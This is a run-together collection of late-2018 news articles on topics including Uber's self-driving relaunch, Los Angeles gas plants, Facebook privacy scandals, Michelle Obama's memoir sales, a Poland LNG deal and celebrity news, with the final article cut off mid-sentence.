Japanese government will permit commercial whaling only within its coastal waters and exclusive economic zone (EEZ). A fisheries agency official denied the reports, saying news of Japan's departure from the IWC was "incorrect," but added Japan wants to resume commercial whaling "as soon as possible," according to the . Japan has banned commercial whaling since 1986. Michelle Obamas memoir quickly became a publishing phenomenon in the U.S. after its release in November, and now its a smash across the pond too. Becoming, the former first ladys account of her childhood, law career and the years she spent in the White House, is the bestselling holiday season book in Britain, the Guardian reports, selling 92,000 copies in the week before Christmas. December is traditionally a busy time of the year for British booksellers, and selling the most books in the week before Christmas has become a veritable badge of honor for authors in the country. For the last two years, the honor has gone to David Walliams, a comedian and judge on the popular program Britains Got Talent. Hes also a prolific author of childrens books such as The Boy in the Dress, Mr. Stink and Gangsta Granny. Advertisement Walliams came close to repeating this year with his latest book, The Ice Monster, but came up short by more than 10,000 copies. (He also trails Obama on Amazon U.K.'s bestseller list, although he is No. 1 in the very British category of humourous fiction.) According to the Guardian, Obama is the first woman to lead the Christmas bestseller list in Britain in 10 years, after Harry Potter author J.K. Rowling took the honor in 2008. Obama is also the first author of color to make the achievement. Walliams doesnt seem to harbor any bad feelings about being dethroned, congratulating Obama on Twitter: Congratulations @MichelleObama for beating my book The Ice Monster to the UK Christmas #1 spot with your brilliant memoir Becoming. You are rightfully sitting at the very top of the tree like the shining light you are. David Walliams (@davidwalliams) December 18, 2018 Becoming quickly became a bestseller in the U.S., selling more than 725,000 copies on its first day of sale. Obamas publisher, Crown, last week announced that the memoir had sold more than 3 million copies in one month. Becoming is the bestselling book of 2018, with its sales outpacing other popular titles like Bob Woodwards Fear: Trump in the White House, Michael Wolffs Fire and Fury: Inside the Trump White House and James Comeys A Higher Loyalty: Truth, Lies, and Leadership. Sales of the book were stoked by a hugely popular tour, with the former first lady appearing in large venues across the country, including a sold-out appearance in Los Angeles with actress Tracee Ellis Ross. Earlier this month, Obama added 21 additional events to her book tour, including a stop in London in April. Nine months after one of Ubers self-driving cars misidentified and killed a pedestrian in Arizona, the ride-hailing giant said it began testing on public roads again Thursday. It began in Pittsburgh and is also preparing to resume in San Francisco and Toronto. Ubers technological and management problems and their deadly consequences for a 49-year-old woman pushing a bike across a dark street in Tempe, Ariz. had presented policymakers and the broader self-driving industry with an almost perfect test case for a question that is rarely articulated explicitly but hovers just beneath the surface for some driverless vehicle advocates. Given the more than 37,000 people who die annually on U.S. roads and the more than 1.3 million killed every year around the world how many deaths are acceptable in the quest to build and popularize technologies to replace flawed human drivers? The answer, its clear from Ubers move Thursday, is more than one, though how much more remains to be seen. Advertisement Ubers self-driving Volvo SUV detected Elaine Herzberg, who was crossing outside a sidewalk, six seconds before the fatal collision in March. But Ubers technology classified her as an unknown object, as a vehicle, and then as a bicycle with varying expectations of future travel path, federal safety investigators said in a preliminary report. Uber also had shut off the Volvos automatic emergency braking feature, since it complicated driverless testing. And its backup safety driver, whose job was to seize control when the technology failed, was streaming a singing competition on her smartphone and didnt try to slow the vehicle until after it hit Herzberg. Uber spent the intervening months scouring its systems software and human for shortcomings, and the San Francisco company says it has taken numerous steps to fix them before what it says is Thursdays tightly limited relaunch. Initially, only a small handful of cars will operate, and they will be limited to daylight hours on weekdays and to driving in the area between Uber sites in Pittsburghs Strip District, the company said, though those limits will loosen over time. And it said it will not pick up passengers in the vehicles for the time being. Uber also said it has been putting its cars through tougher challenges on test tracks and better training new backup drivers after laying off old ones. There will be real-time driver monitoring during self-driving operations in Pittsburgh, it said. Cameras will also be trained on safety drivers as the vehicles are driven manually in San Francisco and Toronto to prepare for restarting autonomous testing in those cities. Uber also said Volvos automatic emergency braking will be activated at all times. To raise the bar for system performance, weve reviewed and improved our testing program to ensure that our vehicles are considerate and defensive drivers. Before any vehicles are on public roads, they must pass a series of more than 70 scenarios without safety-related failures on our test track. We are confident weve met that bar, said Eric Meyhofer, head of Uber Advanced Technologies Group, which is based in Pittsburgh. Developing self-driving technology is one of the biggest technical challenges of our time. If successful, these vehicles have the potential to make our roads safer and transportation more affordable for everyone, Meyhofer said. Following the recommendations of an outside safety review that included Christopher Hart, the former chief of the National Transportation Safety Board, Uber says it has laid the groundwork for creating a lasting safety culture. It created, for example, an internal tip line for employees to report safety concerns and ensure theyre addressed. It also funded researchers working to spur development of independent driverless safety tests. But skepticism remains among the public and some industry experts. Bryant Walker Smith, an assistant professor of law at the University of South Carolina, said: Ubers stock response to serious allegations of past issues includes the statement that We have every confidence in the work that the team is doing to get us to safe deployment. In December, the Information, a tech industry news website, published an internal Uber email, sent days before the fatal Tempe crash, that warned of too-frequent crashes and serious systems and personnel problems, and that was the companys response. I dont think every confidence is appropriate. We need more circumspection and second-guessing, Smith said. He said he was glad that they actually asked for permission from Pennsylvania transportation officials to resume on-road testing, since earlier they suggested they might not. Ubers corporate reputation was defined early on by its aggressive tactics and a seek-forgiveness-not-permission kind of approach. Timothy McNulty, spokesman for Pittsburgh Mayor Bill Peduto, said the city and Uber have been in regular communication about their safety upgrades and were pleased they sought the voluntary testing approval from the state. As they have accepted established state guidelines, demonstrated transparency, and conformed to our expectations in addressing the unique conditions of a complex urban environment, the city is satisfied that self-driving testing operations by Uber will not introduce an increased level of safety risk in Pittsburgh, McNulty said. Most Americans in opinion surveys say they wouldnt ride in a driverless car, a sentiment hardened among many by the fatal Uber crash even as early self-driving leader Waymo launched a commercial service this month only miles from where Herzberg was killed. Federal regulators have taken a largely laissez-faire approach to self-driving cars, suggesting companies provide voluntary information about their safety practices. While Hart was still head of the NTSB, he said in 2016 that automation was the best way to improve road safety but that the transition would include deadly incidents. There will be fatal crashes, thats for sure, Hart said at the time, but this train has left the station. Laris writes for the Washington Post. In a scathing first-person account published Wednesday, actress Eliza Dushku slammed CBS and her Bull costar Michael Weatherly, alleging that she experienced repeated instances of sexual harassment while working on the TV series and was fired as retaliation for confronting the actor. Dushkus account, which appeared in the Boston Globe, represents the latest publicity setback for CBS, which is still reeling from the sexual misconduct scandal surrounding former network boss Leslie Moonves, who was recently fired for cause and wont receive his $120 million in severance. Despite the allegations against Moonves, CBS said in a recent statement that an investigation found that harassment and retaliation are not pervasive at the broadcasting company. Dushkus new account draws that conclusion into question. The boys club remains in full force at CBS, the actress wrote. Advertisement Dushkus piece focuses largely on her working relationship with costar Weatherly. The actress alleges he made numerous lewd comments, including an overture for a threesome, an invitation to visit his rape van and jokes about the quality of his sperm. She claims that the actor also bragged about his friendship with Moonves. Earlier this year, Dushku reached a $9.5-million settlement with CBS over her allegations. The actress wrote Wednesday that she has deliberately avoided commenting about her experience on Bull due to the confidential nature of the deal. But she said a recent New York Times article about her contained more deflection, denial, and spin, compelling her to publish her own account. In the Boston Globe article, Dushku recalls that she confronted Weatherly about his behavior in his trailer. I asked him to be my ally and to help ease the sexualized set comments, she wrote. But, she alleges, Weatherly texted CBS Television Studios President David Stapf about 40 minutes after the conversation requesting that she be effectively written off the show. Weatherly never apologized to me, Dushku wrote. Her account of the confrontation differs from the one Weatherly told the New York Times last week. When Eliza told me that she wasnt comfortable with my language and attempt at humor, I was mortified to have offended her and immediately apologized, the actor said. Dushku alleges that Bull showrunner Glenn Gordon Caron defended Weatherly, telling the actress manager, If Eliza wants to be out of the business by suing CBS, she can be out of the business. The actress alleges that Caron wrote her off the show within 48 hours of her complaints about Weatherly. The bullying continued, the actress wrote. In the settlement process, CBS used as defense a photo of me in a bathing suit, pulled from my own Instagram, as if this suggested I deserved or was not offended by the sexual harassment I experienced. Dushku said she was required to submit to a confidential arbitration process in her dispute over Bull due to her contract with CBS. A spokesperson for CBS didnt immediately reply to a request for comment. david.ng@latimes.com Twitter: @DavidNgLAT The Los Angeles Department of Water and Power is leaning toward spending billions of dollars to rebuild three aging gas-fired power plants, even as California aims to eliminate fossil fuels, a goal endorsed by Mayor Eric Garcetti. Consultants hired by the utility say the city should invest those ratepayer dollars in continuing to burn natural gas at the Scattergood, Harbor and Haynes power plants along the coast. The utilitys staff agrees, saying that batteries charged with solar or wind power arent yet cheap or reliable enough to replace the gas plants, which are critical to keeping the lights on. Environmental activists had cheered last year when the DWP said it would temporarily halt plans to rebuild the plants. Now theyre dismissing the consultants study because it doesnt consider the possibility that battery costs, already far lower than they were a decade ago, will continue to fall. Clean energy advocates say investing in fossil fuels runs counter to the states target of 100% climate-friendly energy by 2045, and the citys commitment to zeroing out its planet-warming emissions by 2050. Advertisement At least one DWP commissioner feels similarly. Aura Vasquez was appointed by Garcetti to the utility board last year after she helped convince city leaders to stop burning coal by 2025. She sees replacing the three gas plants with cleaner energy as critical to fighting climate change and reducing local air pollution. (Los Angeles Times) The Scattergood and Harbor gas plants sit in communities with some of the worst pollution in California, state data show. Scattergood is in El Segundo just south of Los Angeles International Airport, and Harbor is in Wilmington by the ports of L.A. and Long Beach. I will not spend one more dollar repowering another gas plant that is making people sick in Los Angeles neighborhoods when we have viable alternatives, Vasquez said in an interview. L.A. keeps building near freeways, even though living there makes people sick DWPs top energy managers say there are no viable alternatives in the short term, at least without increasing the risk of power outages among the 4 million people served by the municipal utility. Were trying to maintain system reliability, said Reiko Kerr, senior assistant general manager for power system engineering. We could go to 100% renewables today if we want to accept more outages. California has ramped up its push for cleaner energy over the last two years, even as the Trump administration has rolled back climate change regulations. But policymakers and advocates in the state remain divided over how quickly the worlds fifth-largest economy should ratchet down its carbon emissions and how to measure the costs and benefits. The Los Angeles-area gas plants are a flash point in that debate. The countrys second-largest city got nearly half its electricity last year from energy sources that dont contribute to climate change, including 30% from renewables such as solar, wind and geothermal; 10% from the Palo Verde nuclear plant in Arizona; and 4% from Hoover Dam and the Castaic hydropower plant north of the city. Some additional electricity came from hydropower facilities in the Pacific Northwest. But nearly a fifth of L.A.s electricity last year came from the Intermountain coal plant in Utah, which is scheduled to be decommissioned by 2025. And the biggest share of the citys electricity, 31%, came from natural gas most of which was burned at the Scattergood, Harbor and Haynes power plants as well as the Valley Generating Station in Sun Valley. Then-DWP General Manager Ronald Nichols speaks on March 21, 2012, about an earlier repowering project at Haynes, which replaced two aging generating units that used ocean water for cooling with six 100-megawatt fast-start natural gas combustion turbines. (Allen J. Schaben / Los Angeles Times) Consultants say L.A. should keep burning gas Los Angeles is under state orders to shutter 10 gas-fired generating units at Scattergood, Harbor and Haynes that use ocean water for cooling, a process that can harm marine life. The use of so-called once-through cooling technology must end at Scattergood by 2024, and at Harbor and Haynes by 2029. The city originally planned to replace the aging generators with newer, more efficient machines equipped with dry-cooling technology that doesnt use ocean water. But the DWP paused those plans last year after a Los Angeles Times investigation revealed that California utilities had spent years building more gas plants than they needed to meet electricity demand, saddling ratepayers with billions of dollars in costs. DWPs energy managers thought then, as they do now, that there was no way to shut down the gas plants without sacrificing reliability. But at the urging of environmental groups, the utility hired a team of consultants, led by the Australian engineering firm WorleyParsons, to study whether Scattergood, Haynes and Harbor could be replaced with cleaner alternatives. The consultants study wont be finalized until early next year. But at a DWP board meeting last month, representatives from WorleyParsons and Navigant Consulting said Los Angeles should rebuild all five ocean-cooled generating units at Scattergood and Harbor, and two of the five units at Haynes. The consultants recommended replacing three of the five ocean-cooled units at Haynes with a combination of energy storage, solar power and energy efficiency. They estimated the cost of those projects, plus the gas turbine replacements, at $3.4 billion more than a billion dollars higher than the estimated $2.2-billion cost of rebuilding all three gas plants. To replace all three gas plants with clean energy, the consultants said, the city could need 1,800 megawatts of energy storage much more than any other utility has built so far plus hundreds of miles of new power lines to import solar and wind power from outside the L.A. Basin. Our study is not an aspirational study. Our studys a reliability-based study, Don Morrow, a managing director of Navigant Consultings energy practice, told the board. Obama administration Interior Secretary Sally Jewell, center, talks to reporters after the dedication ceremony for the 550-megawatt Desert Sunlight Solar Farm in 2015. (Marcus Yam / Los Angeles Times) Gas plants vs. clean energy Luis Amezcua, a senior representative with the Sierra Clubs Beyond Coal Campaign, said other utilities are doing more than DWP. He pointed to Southern California Edison, which is avoiding the need for a new gas plant in the L.A. area by investing in batteries and solar. Pacific Gas & Electric plans to replace three gas plants with energy storage, including two batteries that would be the largest in the world. Other California utilities are actually putting forward really creative solutions that involve clean energy and addressing the problem of reliability in other ways, Amezcua said. DWPs managers say they are investing in innovative technologies, including a 20-megawatt lithium-ion battery plant near the city of Mojave. But the physical reality of the utilitys power grid, they say, means gas plants will be needed for years to maintain reliable electricity. Theres limited capacity on the citys aging power lines to import the renewable energy that would be needed to charge massive battery installations. Theres not enough space at the gas plant sites to install those batteries. The utility is planning new transmission lines to import clean power from outside the L.A. Basin and to ease the flow of electrons on the citys crowded local grid. But new infrastructure could take decades to permit and build, and the utility will need its gas plants to keep the lights on in the meantime, said Bill Barlak, DWPs manager of system reliability studies. We are setting ourselves up for 100% renewables 25, 30 years from now. But theres a lot that has to go on, and we need the [gas] generation in the medium term to do it, Barlak said. San Diego Gas & Electric to add five battery storage facilities Board member Vasquez thinks the city can be more of a leader in fighting climate change. Investing billions of dollars on repowering gas plants doesnt seem to honor the commitment that Los Angeles has made to be the most renewable and solar and energy efficient city of California and the country, she said. The DWP board probably will decide early next year whether to fund an environmental analysis for the Scattergood repowering. General manager David Wright told the board that the city has five additional years, until 2029, until it must replace Harbor and Haynes. That means the utility could revisit plans to rebuild those gas plants if the cost of solar power paired with battery storage looks more attractive in a few years. This isnt the last bite at the apple, Wright said. sammy.roth@latimes.com @Sammy_Roth (Photo/People's Daily Online) China's economy enjoyed a robust year in 2018. In one minute, 7 patent applications are submitted; 4,166 passengers travel by high speed trains; 94,000 express parcels are delivered; and deals worth 510 million yuan are completed through mobile payment. Facing complicated international environment and arduous domestic tasks of reform, development and stability, China remains committed to the underlying principle of making progress while keeping performance stable, gaining the best overall effect with an optimal policy mix. China has again made remarkable achievements in employment. In November, the urban unemployment rate stood at only 4.8 percent, which not only has met the annual target, but also was 0.7 percentage points lower than the global figure estimated by the International Labour Organization. Such performance was hailed by foreign media as an "employment miracle" of the most populous country. China has continuously optimized its economic structure. In the first three quarters this year, the tertiary industry accounted for 53.1 percent of the country's GDP, contributing 60.8 percent to the national economic growth. Final consumption contributed 78 percent to the economic growth, 46.2 percentage points higher than that done by the gross capital formation. China has continuously improved the quality and benefits of development. It cut energy consumption per unit of GDP by 3.1 percent in the first three quarters of 2018, while the total energy consumption increased by 3.4 percent from a year ago. In addition, the performance of enterprises was enhanced and the fiscal revenue saw a steady growth. The growth rate of the per capita disposable income of urban and rural residents in real terms outpaced that of the per capita GDP. China's economic operation in 2018 maintained within a proper range, said Mao Shengyong, spokesperson of National Bureau of Statistics. There is little doubt that China's economy will be able to expand by 6.5% this year, he added. China is currently shifting from high-speed growth to high-quality development, by means of better quality, higher efficiency, and more robust drivers of economic growth through reform. It aims the promotion of industrial restructuring and upgrading, as well as the strengthening of the real economy. Thanks to the 3D printing technology, Farsoon Technologies in Changsha, capital of central China's Hunan province, is now able to produce a variety of products, ranging from false teeth, aviation impellers to formula cars. The company's performance saw an explosive growth, and half of its products were exported to the high-end overseas destinations, said Xu Xiaoshu, founder and chairman of the company. The 3D printing technology is leading a revolution among Chinese enterprises from medical, automobile and aviation sectors to make their products lighter and smarter, Xu added. Nationz Technologies headquartered in Shenzhen invented a security chip for bank cards, reducing the price of similar products from $4 to less than 4 yuan. "China's products, carrying little weight twenty years ago, are now quite competitive in the global market," said Zhu Yongmin, deputy general manger of the company. Every day about 18,000 enterprises were registered in China, and more than 800 technology business incubators were established. And contracts worth over one trillion yuan in technology market were also signed. A large number of entrepreneurs in the fields of materials, medicine and information technology integrated various business formats, and boosted new dynamism. 2018 marks the 40th anniversary of China's reform and opening up. Strong measures will further advance the cause and inject impetus into the national development. Regarding business environment, a World Bank report released on Oct. 31 this year ranked China number 46, up by 32 spots from 2017. Rita Ramalho, Senior Manager of the World Bank's Global Indicators Group, said that China carried out a record number of reforms during the year to improve its business climate for small and medium enterprises, earning the country a place in this year's top 10 global improvers. Ramalho added that China implemented the largest number of reforms in the East Asia and Pacific region, and ranked the second in the world regarding the number of economic reforms. Both lead to a substantial rise in the global scoring and ranking, she added. China introduced a new foreign investment negative list this year, largely opening up 22 sectors to foreign investors. It also enhanced efforts on the protection of intellectual property rights. Besides, a series of measures were adopted to open China even wider to the world, which has won wide praise from foreign entrepreneurs. In the first 11 months, a total of 54,703 foreign-funded enterprises were newly registered in China, up 77.5 percent over the previous year. The first China International Import Expo, as the world's first import-themed national expo, attracted over 400,000 buyers from home and abroad and concluded prospective deals worth $57.8 billion. Through this Expo, China further showed the world its positive attitude to take the initiative in opening its market to the outside and creating a better life together with people across the world. Sempra Energy finalized a 20-year deal with Polands national oil and natural gas company Wednesday a deal that the San Diego company hopes will help it become a major world player and that bolsters Sempras plan to build a liquefied natural gas facility on the Texas Gulf Coast. Polish Oil and Gas Co. signed a sale-and-purchase agreement with Sempra to take 2 million tons of liquefied natural gas, or LNG, per year. Thats enough to meet about 15% of Polands daily natural gas needs, and its about 20% of the export capacity at the proposed facility near Port Arthur, Texas. The agreement takes effect only if Sempra builds the facility. Joseph Householder, Sempras president and chief operating officer, said the agreement will build momentum and prompt other customers to jump on board. Korea Gas Corp., South Koreas state-owned natural gas supplier and the worlds second-largest importer of LNG, agreed to establish a framework with Sempra last year on the Port Arthur facility. Advertisement I think what will happen here is some of the people weve been talking to for a while will start saying, Uh oh, weve got to sign because we need to make sure that we dont get lost in the shuffle, Householder said. This is a big announcement for us because it really helps drive the Port Arthur facility. A final decision to build the Port Arthur project has not been made, but Sempra expects to get a permit from the Federal Energy Regulatory Commission finalized by the end of the first quarter of 2019. If the project becomes a reality, the deal signed with Poland will begin in 2023. Through the liquefaction process, natural gas is cooled to minus 260 degrees Fahrenheit and turned into liquid. It can then be transported in containers. At its destination, the LNG is turned back into a gas. Along with partners based in France and Japan, Sempra is already building another massive LNG facility on the Gulf Coast in Lousiana called the Cameron LNG facility. The $10-billion projects first shipment of LNG to international customers is expected by the middle of next year. Sempra also wants to expand an LNG facility near Ensenada, Mexico, operated by its Mexican subsidiary, to include an export component to ship natural gas to growing markets in Japan, China and other Asian countries. The company has set a long-term goal of exporting 45 million tons of LNG a year to customers around the globe. For Poland, the deal with Sempra marks a step toward becoming less dependent on natural gas from Russia. Poland signed similar agreements with Venture Global in October and Cheniere Energy last month. The Polish oil and gas company also said Wednesday that it plans to expand its LNG import terminal in the port city of Swinoujscie. Another long-term contract not only allows us to develop an LNG portfolio with a view to delivering to Poland, Piotr Wozniak, Polands oil and gas company president, said in a statement, but it gives us, in the near future, the possibility of trading in LNG purchased on a global scale. The Trump administration has been promoting American LNG to markets in Europe as a way to boost U.S. industry, reduce the trade deficit and exert some leverage on Russia. U.S. Deputy Secretary of State John Sullivan, right, shakes hands with Polish Foreign Minister Jacek Czaputowicz in Warsaw on Wednesday. (Czarek Sokolowski / AP) Anytime you can diversify to offset any potential negative implications with a certain geography or a certain country is probably a smart move, said Andy Smith, a senior analyst who follows utilities for Edward Jones. And its a smart move price-wise, too, because you can try to play one against the other and get the best price for your product. Until recent years, the LNG export market in the United States was practically nonexistent. But due to hydraulic fracturing and horizontal drilling techniques in places such as the Marcellus Shale in the East and the Permian Basin in west Texas and southeastern New Mexico, domestic production has taken off. rob.nikolewski@sduniontribune.com Nikolewski writes for the San Diego Union-Tribune. This coming year may finally mark a turning point in protecting peoples privacy, and you have Facebook to thank for that. Not because the social media giant is leading the way to much-needed safeguards. Rather, because the company, after repeated security lapses and scandals, has utterly failed in its self-declared mission of doing right by users and lawmakers at last are signaling a willingness to act. Facebooks conduct and the response to it this year provided a stark example of a deep disconnect, said Andrea Matwyshyn, co-director of Northeastern Universitys Center for Law, Innovation and Creativity. Advertisement She told me data-heavy companies such as Facebook see themselves as little more than neutral aggregators of information with limited responsibility for security. Consumers, meanwhile, view them as failing to live up to basic ethical duties as stewards of the information they hold, repeatedly and callously violating privacy and trust in the name of short-term corporate profits, Matwyshyn said. Facebook has been heavy into damage control after the New York Times reported recently that the company shared vast amounts of user data with business partners. It even gave some of those partners access to peoples private messages without those peoples knowledge or consent, the report said. Facebooks troubles in 2018 were the highest-profile privacy violations in a year that saw millions of Americans once again exposed to fraud, identity theft and other hazards as a result of corporate Americas profit-minded reluctance to take better care of peoples personal information. Other noteworthy security breaches included the Marriott hotel chain, which this month said information about 500 million customers was exposed, as well as digital break-ins at Google, T-Mobile, Saks Fifth Avenue, Under Armour, Panera Bread and Orbitz. Ironically, the year began with Facebook Chief Executive Mark Zuckerberg declaring that his company has a lot of work to do to improve the sites integrity. He was referring to Facebooks growing role as a venue for hate, misinformation and political manipulation. We wont prevent all mistakes or abuse, but we currently make too many errors enforcing our policies and preventing misuse of our tools, Zuckerberg wrote in January. If were successful this year then well end 2018 on a much better trajectory. Whoops. In March came the Cambridge Analytica mess. We learned that Facebook had made the personal data of 87 million users available, without permission, to a researcher who used the information for political purposes. In September, the company revealed that hackers had made off with information on 29 million Facebook users, including birth dates and phone numbers. It was reported in November that Zuckerberg and Facebook Chief Operating Officer Sheryl Sandberg had mapped out an aggressive plan to manage PR crises through deception, misdirection and attacks on critics. This month, Facebook said the private photos of nearly 7 million users were improperly shared with third-party app developers. Its like The Neverending Story with these guys. Businesses that treat peoples personal information as a commodity have long had a credibility problem. On the one hand, they loudly insist that privacy is a paramount concern. Meanwhile, they do everything possible to exploit the contents of their databases for financial gain. And they typically fail to adequately secure their data, such as by encrypting information under their control. According to the Privacy Rights Clearinghouse, a San Diego advocacy group, more than 11.5 billion records have been accessed by hackers in nearly 9,000 known security breaches since 2005. In October, representatives from Amazon, Apple, AT&T, Charter Communications, Google and Twitter appeared before the Senate Commerce Committee to say they support the idea of a federal privacy law that would protect users. Googles chief executive, Sundar Pichai, reiterated that stance when he appeared before lawmakers a couple of weeks ago. Its a smoke screen. What the tech and telecom giants are really after is a watered-down federal law that would preempt tougher state laws, such as the one that takes effect in California at the beginning of 2020. The California Consumer Privacy Act AB 375 will allow state residents to find out what kinds of information a business has collected and what it plans to do with it. It also allows consumers to request that a company delete any personal information it holds, and to opt out of the sale of such information. The teeth: Californias law gives people the right to sue if reasonable security practices arent maintained to prevent data breaches. Big Data wants nothing to do with any of these provisions, and thats why companies are calling for a federal law that stops well short of the California statute. Any preemption of state consumer privacy laws by Congress could hurt Californians in particular, because our laws are stronger here than in most other states, so we hope the leadership from California will protect our states interests, said Emily Rusch, executive director of the California Public Interest Research Group. In fact, lawmakers should explicitly declare in any federal privacy legislation that states are free to enact stricter measures. If companies are as committed to protecting peoples information as they say, what do they have to fear? That question applies as well to legislation that Sen. Ron Wyden (D.-Ore.) plans to introduce early in the new year. His Consumer Data Protection Act would impose $5-million fines and up to 20 years in prison for executives who knowingly mislead federal authorities about their security efforts. It also would strengthen the Federal Trade Commissions ability to crack down on privacy violations and give consumers more power to control how their personal information is used. Big companies are vacuuming up peoples personal information, just scooping it up, Wyden told me after recently releasing a draft of his bill. Everything you read, everywhere you go, everything you buy is sucked up in a corporations database. Hes proposing that any company with revenue topping $1 billion a year, or that stores data on more than 50 million consumers or consumer devices, would have to submit an annual data protection report to the FTC detailing all activities related to keeping peoples data under wraps. A 4%-of-revenue penalty would be imposed on companies found to have deliberately misled the FTC in the report. Scofflaw executives would be slapped with separate $5-million fines. If an executive enjoys a particularly fat compensation package, the bill says, the $5-million fine would be replaced with 25% of the largest amount of annual compensation the person received during the previous three-year period. Hefty fines and prison sentences would go a long way toward encouraging business leaders to take privacy more seriously. Most experts, however, say such draconian measures have no chance of becoming law, especially with the Senate and White House in business-friendly Republican hands. Still, the mere fact such a bill could be introduced underlines the severity of the problem and a willingness among some lawmakers to finally draw the line on privacy violations. It also shows a growing impatience with Big Data leaders who seem to think words speak louder than actions and who have little accountability to corporate overseers. Facebooks Zuckerberg, for example, is both CEO and chairman of his company, as well as its most powerful shareholder. A tiered stock system grants his shares 10 votes for every one by a typical shareholder. He controls 60% of Facebook shares voting power so he wins every vote, every time. After the Cambridge Analytica fiasco came to light, Zuckerberg brazenly announced that we have a responsibility to protect your data, and if we cant then we dont deserve to serve you. Millions of hacked Facebook accounts later, he still does, and he apparently cant, and they dont. David Lazarus column runs Tuesdays and Fridays. He also can be seen daily on KTLA-TV Channel 5 and followed on Twitter @Davidlaz. Send your tips or feedback to david.lazarus@latimes.com. Robert Herjavec has found his latest investment in Newport Beach. The businessman and Shark Tank star has purchased a waterfront home through a trust for $7.95 million, real estate records show. Taken down to the studs and rebuilt last year, the two-story contemporary-style house has harbor views from its spot on the Balboa Peninsula. The main level offers a center-island kitchen, a dining area and a sunny living room anchored by a floor-to-ceiling stone fireplace. White walls pair with French oak floors throughout 3,550 square feet of interior. Advertisement All four bedrooms are found upstairs, which is reached by a cable-railing staircase. The master suite looks out on the water through picture windows and features custom tile and a freestanding tub in the bathroom. Pocketing doors lead outside, where a wood deck descends to a turf lawn. A grill and private dock complete the waterfront scene. The property first hit the market in August for $8.475 million. Before the remodel, it traded hands two years ago for $5.7 million. Tara Foster Shapiro of Pacific Sothebys International Realty was the listing agent, according to the Multiple Listing Service. Andrew McDonald of the Agency represented the buyer. A native of Canada, Herjavec founded internet security software integrator BRAK Systems in 1990 and sold it to AT&T Canada a decade later for $30.2 million. Hes appeared as a judge in all 10 seasons of Shark Tank, a reality show where entrepreneurs pitch their businesses to investors including Herjavec, Mark Cuban and Kevin OLeary. jack.flemming@latimes.com | Twitter: @jflem94 Facebooks business model has always been simple: acquire as much personal information from users as possible, then find a way to make money off of it. For more than a decade, it proved to be a remarkably successful strategy, bringing to the social platform 2 billion monthly users to friend, feud and play Farmville. But as the year comes to a close, Facebook is facing a pair of major lawsuits in the U.S. and reeling from a string of public relations disasters. The companys stock has lost over 25% of its value since January and took another 7% hit on Wednesday after a report that it shared the power to read and delete users private messages with companies such as Netflix and Spotify. Surprisingly, this fall from grace hasnt been defined by deviation from the practices that made it one of the most valuable companies in the world. The scandals that have pummeled the company in 2018 have largely kept with the fundamentals of Facebooks business model. Advertisement For many companies, including but not limited to Facebook, there is a business model of harvesting as much personal information from technology users as possible and then monetizing it, and doing so without getting real consent from the users, said Adam Schwartz, senior staff attorney at the privacy advocacy group the Electronic Frontier Foundation. To bring more users in, keep them spending more time on the platform, and urge them to share more information, Facebook opened its platform to other companies interested in accessing its user base. It gave access to third-party app developers, such as political consulting firm Cambridge Analytica, which created a personality quiz app for Facebook users as a way to gain access to the private information of all of their Facebook friends, and then used that data to serve political clients like Donald Trumps 2016 campaign, and the campaign in favor of Britain leaving the European Union. And it built integration with companies like Spotify and Netflix to keep tabs on users everywhere they went. Then, as always, it used that larger reach and deeper trough of data to sell more ads to more people. The problem is that users are only now coming to realize what Facebook and other tech companies are doing with their data. Google famously used its Gmail email service in a similar way, offering it for free, which brought in a huge user base. By tracking the content of users emails and linking them to Google searches performed on the same browser, the company acquired reams of personal data, which it then used to improve its lucrative ad-targeting business. Google discontinued tracking email content in 2017, but third-party app developers can still read the emails of millions of Gmail users. As the inner workings of the growth and monetization strategies underpinning the internets biggest companies come to light, more users are deciding they dont like what they see. When I agree to be friends with someone on Facebook, Schwartz said, what I dont expect is that it results in all of my information being sucked into an app that one of my friends is using. That question of consent lies at the heart of Facebooks legal troubles. On Wednesday, Washington D.C.s attorney general filed suit against the company for failing to inform users that Cambridge Analytica was accessing their data and the data of their entire friend list when they installed the personality quiz app on Facebooks platform. Facebook is also facing a class-action lawsuit over its use of facial recognition software to identify people in images uploaded to the platform, which the plaintiffs claim violates an Illinois law against collecting biometric information in the absence of opt-in consent. An investigation published by the New York Times on Tuesday found that the social media giant gave corporate partners like Netflix, Spotify and the Royal Bank of Canada the ability to read and delete users private messages as part of an integration that kept users plugged into the Facebook ecosystem. Facebook also allowed Microsoft, Sony, and Amazon to obtain the email addresses of users friends, according to the investigation. The lack of clear user consent may pose a problem for a company that faced a 2011 Federal Trade Commission consent order requiring Facebook to obtain user consent before sharing data with other companies. A bigger problem, however, may be dwindling consumer confidence in their basic relationship with Facebook. An October study by the Baker Center at Georgetown University asked respondents to rank American companies and institutions by how much confidence they inspired. Facebook ranked third to last, ahead of only Political Parties and Congress. Alex Stamos, Facebooks former chief security officer, said some of the data-sharing arrangements detailed in the report could actually be good for consumers. Users need to have the right to bring their accounts to different devices and different services we dont want Facebook, Microsoft, Google, and other giants building completely impenetrable walls so users have no choice. But he said the company has failed to adapt to its own success. A lot of these things are from a different era, when Facebook was a different product, said Stamos, who joined Facebook in 2015 and left earlier this year. When people had been using it for fun, and then all of a sudden it became the worlds most important communications platform, the security and privacy decisions you made are no longer valid. Some of the data-sharing arrangements date back to 2010, according to the New York Times; Cambridge Analytica began gathering data in 2014. In a blog post, Facebook said that it handled the data sharing relationships in accordance with the law, citing an exception in the consent agreement for moving data to service providers. Schwartz questioned that interpretation, saying it was intended for situations where Facebook might need to rent space on other companies servers for data storage. We think thats a misuse of the service provider exception, Schwartz said. British lawmakers, who are investigating the company for anti-competitive practices, also weighed in on Wednesday. We have to seriously challenge the claim by Facebook that they are not selling user data, said member of Parliament Damian Collins in a statement. They may not be letting people take it away by the bucket load, but they do reward companies with access to data that others are denied, if they place a high value on the business they do together. sam.dean@latimes.com Follow me on Twitter: @samaugustdean Arturo Sandoval thought he was being asked to write one song for Clint Eastwoods new film, The Mule. But when Sandoval arrived at the actor-directors office on the Warner Bros. lot, Eastwood sat him down, showed him the whole film and said, I want you to write the score. Sandoval said yes without hesitating. Im available and affordable, he added with a laugh. The jazz trumpeter has won Grammy Awards and a Presidential Medal of Freedom, and his collaborators have ranged from Frank Sinatra to Alicia Keys. Hes written music for the concert hall, including a trumpet concerto, and even composed an Emmy-winning score for the story of his own life For Love or Country, the 2000 HBO movie that starred Andy Garcia. But at age 70, Sandoval finally has his first big-screen score, and its something he has wanted badly. Advertisement This is my biggest passion, Sandoval said by phone from his Tarzana home, where he starts every morning with an espresso and cigar, sitting at a piano that once belonged to jazz legend Oscar Peterson. I 